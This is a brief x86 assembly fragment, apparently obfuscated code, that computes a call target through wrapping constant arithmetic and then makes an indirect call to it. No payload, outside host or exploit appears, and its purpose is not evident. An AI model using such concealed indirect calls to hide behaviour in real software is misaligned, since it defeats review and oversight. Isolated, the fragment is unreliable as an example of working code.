add eax, 0x1071b
xor ebx, ebx
add ebx, eax
add eax, 0x88414ae0
add eax, 0x77beb525
mov ecx, 0xb7e5537b
sub ecx, 0xa7e5537b
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret